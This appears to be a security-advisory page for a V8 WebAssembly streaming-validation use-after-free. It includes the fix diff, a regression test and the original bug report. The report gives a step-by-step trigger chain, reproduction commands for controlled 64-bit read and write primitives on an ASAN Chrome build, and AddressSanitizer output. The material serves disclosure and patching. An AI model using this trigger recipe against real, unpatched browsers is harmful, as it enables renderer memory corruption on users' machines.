Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Tracker523030583
Fix commit2ef100a053c5 (v8/v8) +48/-10
CISA KEVNot listed
CreditedDuc Nguyen of Calif.io in collaboration with OpenAI Codex Security
Disclosed2026-07-29

Changed Functions

FunctionChangeNotes
compilation_unit_builder_
src/wasm/module-compiler.cc
modified
if
src/wasm/module-compiler.cc
modified
EmptyResolver
test/unittests/wasm/streaming-decoder-unittest.cc
modified
TEST_F
test/unittests/wasm/streaming-decoder-unittest.cc
modified

Files Changed

  • src/wasm/module-compiler.cc
  • test/unittests/wasm/streaming-decoder-unittest.cc
From 2ef100a053c5e7368f97c0952153350045bb44fc Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Mon, 22 Jun 2026 10:59:08 +0200
Subject: [PATCH] [wasm-streaming] Terminate any pending validation job...

...when receiving a ContextDisposedNotification.

Bug: 523030583
Change-Id: Iee732c5e62ca63f473548209f285049126a87a65
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7967983
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108145}
---

diff --git a/src/wasm/module-compiler.cc b/src/wasm/module-compiler.cc
index 255bfe6..8cda414 100644
--- a/src/wasm/module-compiler.cc
+++ b/src/wasm/module-compiler.cc
@@ -3016,9 +3016,12 @@
       compilation_unit_builder_(nullptr) {}
 
 AsyncStreamingProcessor::~AsyncStreamingProcessor() {
-  // We expect {OnAbort()} or {OnFinishedStream()} to be called before the
-  // destructor runs. Both invalidate the {validate_functions_job_handle_}.
-  CHECK_NULL(validate_functions_job_handle_);
+  // When we receive a ContextDisposedNotification before the stream ends,
+  // we might still have a running validation job. Terminate that before
+  // freeing {validate_functions_job_data_}.
+  if (validate_functions_job_handle_) {
+    validate_functions_job_handle_->Cancel();
+  }
 
   if (owns_cache_entry_) {
     GetWasmEngine()->StreamingCompilationFailed(
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
 #include "src/wasm/streaming-decoder.h"
 
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
 #include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
 
 namespace v8 {
 namespace internal {
@@ -661,6 +658,44 @@
   ExpectFailure(base::ArrayVector(data));
 }
 
+class EmptyResolver : public CompilationResultResolver {
+ public:
+  void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+  void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+  FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+  FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+  std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+  WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+  std::shared_ptr<StreamingDecoder> stream =
+      GetWasmEngine()->StartStreamingCompilation(
+          features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+          resolver);
+  stream->InitializeIsolateSpecificInfo(isolate());
+
+  const uint8_t data[] = {
+      0x00, 0x61, 0x73, 0x6d,  // wasm magic
+      0x01, 0x00, 0x00, 0x00,  // wasm version
+      0x01, 0x04,              // Type section, length: 4
+      0x01, 0x60, 0x00, 0x00,  // One type, signature, no params, no results
+      0x03, 0x02,              // Function section, length: 2
+      0x01, 0x00,              // One function, type $sig0
+      0x0a, 0x04,              // Code section, length: 4
+      0x01, 0x02, 0x00, 0x0b,  // One function, length: 2, unreachable, end
+  };
+
+  stream->OnBytesReceived(base::VectorOf(data));
+
+  // Dispose context. This triggered crbug.com/523030583 before the fix.
+  v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
 }  // namespace wasm
 }  // namespace internal
 }  // namespace v8
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
 #include "src/wasm/streaming-decoder.h"
 
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
 #include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
 
 namespace v8 {
 namespace internal {
@@ -661,6 +658,44 @@
   ExpectFailure(base::ArrayVector(data));
 }
 
+class EmptyResolver : public CompilationResultResolver {
+ public:
+  void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+  void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+  FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+  FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+  std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+  WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+  std::shared_ptr<StreamingDecoder> stream =
+      GetWasmEngine()->StartStreamingCompilation(
+          features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+          resolver);
+  stream->InitializeIsolateSpecificInfo(isolate());
+
+  const uint8_t data[] = {
+      0x00, 0x61, 0x73, 0x6d,  // wasm magic
+      0x01, 0x00, 0x00, 0x00,  // wasm version
+      0x01, 0x04,              // Type section, length: 4
+      0x01, 0x60, 0x00, 0x00,  // One type, signature, no params, no results
+      0x03, 0x02,              // Function section, length: 2
+      0x01, 0x00,              // One function, type $sig0
+      0x0a, 0x04,              // Code section, length: 4
+      0x01, 0x02, 0x00, 0x0b,  // One function, length: 2, unreachable, end
+  };
+
+  stream->OnBytesReceived(base::VectorOf(data));
+
+  // Dispose context. This triggered crbug.com/523030583 before the fix.
+  v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
 }  // namespace wasm
 }  // namespace internal
 }  // namespace v8
Loading diff…

Original Bug Report

reported by du...@calif.io

V8 WebAssembly streaming-validation use-after-free (renderer)

V8 WebAssembly streaming-validation use-after-free (renderer)

Report fields

  • Program: Chrome Vulnerability Reward Program
  • Product / component: Chrome renderer — V8 WebAssembly streaming compilation and Wasm GC validation
  • Vulnerability type: Use-after-free (renderer memory corruption)
  • Affected version: Chromium 149.0.7827.102 (stable), x64
  • Demonstrated primitives: controlled read, controlled write, and full arbitrary read/write from web content (see Memory-corruption primitives below).

Summary

A web page can free WebAssembly streaming-validation state while a validation worker thread is still using it. The page starts WebAssembly.compileStreaming() in a same-origin top-level popup, keeps validation busy with an attacker-controlled ReadableStream, then closes the popup. Closing a top-level page tears down the async compile job and its streaming processor, but the validation worker keeps running and dereferences the now-freed validation and module state.

The proof escalates that dangling access into a controlled type confusion and demonstrates, on the ASAN build, a graduated set of memory-corruption primitives reachable from a web page: a controlled read from an attacker-chosen address, a controlled write of an attacker-chosen value to an attacker-chosen address, and a full arbitrary read/write of a victim TypedArray whose corrupted length is visible from JavaScript.

This report is scoped to a renderer-side memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise.

Root cause

Blink uses different V8 disposal semantics for top-level frames and dependent subframes:

// third_party/blink/renderer/core/frame/local_window_proxy.cc
//   LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);

For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false. That path deletes the active Wasm compile job:

// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
  if (!i_isolate->context().is_null()) {
    wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
        i_isolate->native_context());
  }
}

Destroying the async compile job tells the streaming decoder that compilation was discarded:

// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();

The lifetime that goes wrong:

  • AsyncStreamingProcessor owns ValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads.
  • ValidateFunctionsStreamingJob::Run() (worker thread) reads data_->GetUnit(), calls ValidateSingleFunction(module_, ...), and writes data_->UpdateDetectedFeatures(...).

Failing invariant: a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences.

The safe stream-finish and abort paths cancel or join validation work before freeing processor state. The top-level context-disposal discard path reaches processor teardown through NotifyCompilationDiscarded() without first proving the validation worker has stopped.

Trigger

The bug needs a top-level page lifetime transition — a same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent.

To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery:

  1. index.html registers payment-handler-sw.js and calls PaymentRequest.show().
  2. The service worker opens wasm-asan-controlled-crash-poc.html in a top-level window.
  3. That page opens a same-origin about:blank victim popup.
  4. The victim starts WebAssembly.compileStreaming() over a parent-controlled Response.
  5. The parent closes the victim while code-section validation is still active.
  6. Replacement modules reclaim the freed validation state, giving the page control over it.

Reproduction

Environment

OS:        Debian GNU/Linux 12 (bookworm), x86_64
Kernel:    5.15.0-176-generic
glibc:     2.36
Chrome:    Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
           v8_enable_sandbox = true, dcheck_always_on = false

Stable 149.0.7827.102 is a release-branch build and is not published as an official ASAN binary; the binary here is built from the exact 149.0.7827.102 source (chromium commit 112f665d98a2fe84b156c74fbea2aed742f16c15) with the ASAN configuration above.

Steps

cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://127.0.0.1:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"

# Controlled read  (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
  "$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"

# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
  "$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"

The exploit races a validation worker against context disposal, so it is timing-sensitive; re-run if the RUN12x markers do not appear (the parameters above are tuned for this build).

Memory-corruption primitives

All output below is the unmodified stderr from the 149.0.7827.102 ASAN build. Full run logs are under traces/.

The bug — validation worker reads freed state

The streaming-validation worker thread crashes while dereferencing its freed job state. Full AddressSanitizer report (traces/plain-uaf-crash/chrome.stderr.log):

=================================================================
==3234593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bfc6d391888 at pc 0x7f4c8e291271 bp 0x7b484c6444a0 sp 0x7b484c644498
READ of size 8 at 0x7bfc6d391888 thread T8 (ThreadPoolForeg)
    #0 0x7f4c8e291270 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f4c88cc6939 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1 const&, v8::JobTask*>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1, base::internal::UnretainedWrapper<v8::JobTask, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, unsigned long (unsigned long)>::Run(base::internal::BindStateBase*, unsigned long) gin/v8_platform.cc:306:30
    #2 0x7f4cf1fb45af in base::RepeatingCallback<unsigned long (unsigned long)>::Run(unsigned long) const & base/functional/callback.h:346:12
    #3 0x7f4cf1fb3b54 in base::internal::JobTaskSource::WillRunTask() base/task/thread_pool/job_task_source.cc:342:45
    #4 0x7f4cf1fd9efc in base::internal::ThreadGroup::TakeRegisteredTaskSource(base::internal::ThreadGroup::BaseScopedCommandsExecutor*) base/task/thread_pool/thread_group.cc:272:54
    #5 0x7f4cf1fe1887 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWorkLockRequired(base::internal::ThreadGroup::BaseScopedCommandsExecutor*, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:527:27
    #6 0x7f4cf1fe20b9 in base::internal::ThreadGroupImpl::WorkerDelegate::SwapProcessedTask(base::internal::RegisteredTaskSource, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:620:24
    #7 0x7f4cf1ff96e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:486:23
    #8 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #9 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #10 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #11 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7bfc6d391888 is located 120 bytes after 112-byte region [0x7bfc6d3917a0,0x7bfc6d391810)
allocated by thread T0 (chrome) here:
    #0 0x5583320a763d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf02638c3 in ipcz::RemoteRouterLink::Create(ipcz::Ref<ipcz::NodeLink>, ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide) third_party/ipcz/src/ipcz/remote_router_link.cc:51:19
    #2 0x7f4cf0230c01 in ipcz::NodeLink::AddRemoteRouterLink(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/node_link.cc:122:15
    #3 0x7f4cf0276ad3 in ipcz::Router::SerializeNewRouterWithLocalPeer(ipcz::NodeLink&, ipcz::RouterDescriptor&, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/router.cc:903:43
    #4 0x7f4cf0276563 in ipcz::Router::SerializeNewRouter(ipcz::NodeLink&, ipcz::RouterDescriptor&) third_party/ipcz/src/ipcz/router.cc:856:7
    #5 0x7f4cf02657fb in ipcz::RemoteRouterLink::AcceptParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/remote_router_link.cc:298:17
    #6 0x7f4cf026c6cd in ipcz::Router::SendOutboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:200:11
    #7 0x7f4cf0271077 in ipcz::Router::Put(absl::Span<unsigned char const>, absl::Span<unsigned long const>) third_party/ipcz/src/ipcz/router.cc:409:29
    #8 0x7f4cf01f1232 in Put third_party/ipcz/src/api.cc:173:18
    #9 0x7f4cf019a662 in MojoWriteMessageIpcz mojo/core/core_ipcz.cc:197:29
    #10 0x7f4cf00f8360 in MojoWriteMessage mojo/public/c/system/thunks.cc:81:10
    #11 0x7f4cf0481d57 in mojo::Connector::AcceptAndGetResult(mojo::Message*) mojo/public/cpp/system/message_pipe.h:97:10
    #12 0x7f4cf04819c8 in mojo::Connector::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/connector.cc:317:23
    #13 0x7f4cf04998ae in mojo::InterfaceEndpointClient::SendMessage(mojo::Message*, bool) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:636:21
    #14 0x7f4cf0405155 in mojo::internal::SendMojoMessage(mojo::MessageReceiver&, mojo::Message&) mojo/public/cpp/bindings/lib/send_message_helper.cc:22:26
    #15 0x7f4ca07cebaa in ukm::mojom::UkmRecorderFactoryProxy::CreateUkmRecorder(mojo::PendingReceiver<ukm::mojom::UkmRecorderInterface>, mojo::PendingRemote<ukm::mojom::UkmRecorderClientInterface>) gen/services/metrics/public/mojom/ukm_interface.mojom.cc:921:3
    #16 0x7f4cec2bd8d6 in ukm::MojoUkmRecorder::MojoUkmRecorder(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:25:13
    #17 0x7f4cec2bd5c1 in ukm::MojoUkmRecorder::Create(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:20:31
    #18 0x7f4c9f3b86e7 in blink::Document::UkmRecorder() (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x6c0d6e7) (BuildId: 86034637d8af1588)
    #19 0x7f4c9e32b2d6 in blink::FrameLoader::CommitDocumentLoader(blink::DocumentLoader*, blink::HistoryItem*, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b802d6) (BuildId: 86034637d8af1588)
    #20 0x7f4c9e336671 in blink::FrameLoader::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8b671) (BuildId: 86034637d8af1588)
    #21 0x7f4c9cc4635b in blink::WebLocalFrameImpl::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x449b35b) (BuildId: 86034637d8af1588)
    #22 0x7f4cd5f76fab in content::RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5772:11
    #23 0x7f4cd5f744da in content::RenderFrameImpl::BeginNavigation(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5701:5
    #24 0x7f4c9cbc3142 in blink::LocalFrameClientImpl::BeginNavigation(blink::ResourceRequest const&, blink::KURL const&, blink::mojom::RequestContextFrameType, blink::LocalDOMWindow*, blink::DocumentLoader*, blink::WebNavigationType, blink::NavigationPolicy, blink::WebFrameLoadType, blink::mojom::ForceHistoryPush, bool, bool, blink::mojom::TriggeringEventInfo, blink::HTMLFormElement*, network::mojom::CSPDisposition, mojo::PendingRemote<blink::mojom::blink::BlobURLToken>, base::TimeTicks, base::TimeTicks, blink::String const&, std::__Cr::optional<blink::Impression> const&, base::TokenType<blink::LocalFrameTokenTypeMarker> const*, blink::SourceLocation*, mojo::PendingRemote<blink::mojom::blink::NavigationStateKeepAliveHandle>, bool, bool, mojo::PendingReceiver<blink::mojom::blink::NavigationResumeDeferredCommitListener>, std::__Cr::optional<base::UnguessableToken>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4418142) (BuildId: 86034637d8af1588)
    #25 0x7f4c9e33247c in blink::FrameLoader::StartNavigation(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8747c) (BuildId: 86034637d8af1588)
    #26 0x7f4c9c9c9a10 in blink::LocalFrame::Navigate(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x421ea10) (BuildId: 86034637d8af1588)
    #27 0x7f4c9c9abcc0 in blink::LocalDOMWindow::open(v8::Isolate*, blink::String const&, blink::AtomicString const&, blink::String const&, blink::ExceptionState&) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4200cc0) (BuildId: 86034637d8af1588)
    #28 0x7f4c84776ef5 in blink::(anonymous namespace)::v8_window::OpenOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) v8_window.cc
    #29 0x7b483ac906d3  (<unknown module>)

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f4cf1fe1106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1ff942a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f4cf1fde7f5 in base::internal::ThreadGroupImpl::Start(unsigned long, unsigned long, base::TimeDelta, scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*, base::internal::ThreadGroup::WorkerEnvironment, bool, std::__Cr::optional<base::TimeDelta>) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1feb3c4 in base::internal::ThreadPoolImpl::Start(base::ThreadPoolInstance::InitParams const&, base::WorkerThreadObserver*) base/task/thread_pool/thread_pool_impl.cc:241:35
    #7 0x7f4cd158354d in content::ChildProcess::ChildProcess(base::ThreadType, std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>, bool) content/child/child_process.cc:112:20
    #8 0x7f4cd5fafd7a in content::RenderProcess::RenderProcess(std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>) content/renderer/render_process.cc:18:7
    #9 0x7f4cd5fafe32 in content::RenderProcessImpl::RenderProcessImpl() content/renderer/render_process_impl.cc:99:7
    #10 0x7f4cd5fb02ea in content::RenderProcessImpl::Create() content/renderer/render_process_impl.cc:224:31
    #11 0x7f4cd5fe2ac8 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:274:53
    #12 0x7f4cd64170b2 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
    #13 0x7f4cd64181a8 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
    #14 0x7f4cd641ac36 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
    #15 0x7f4cd6415006 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #16 0x7f4cd641536a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #17 0x5583320a953c in ChromeMain chrome/app/chrome_main.cc:194:12
    #18 0x7f4c7d107249 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const
Shadow bytes around the buggy address:
  0x7bfc6d391600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391800: 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa fa fa
=>0x7bfc6d391880: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
  0x7bfc6d391900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
  0x7bfc6d391980: fa fa fa fa f7 fa 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391a00: 00 00 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa
  0x7bfc6d391a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391b00: f7 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==3234593==ADDITIONAL INFO

==3234593==Note: Please include this section with the ASan report.
Task trace:


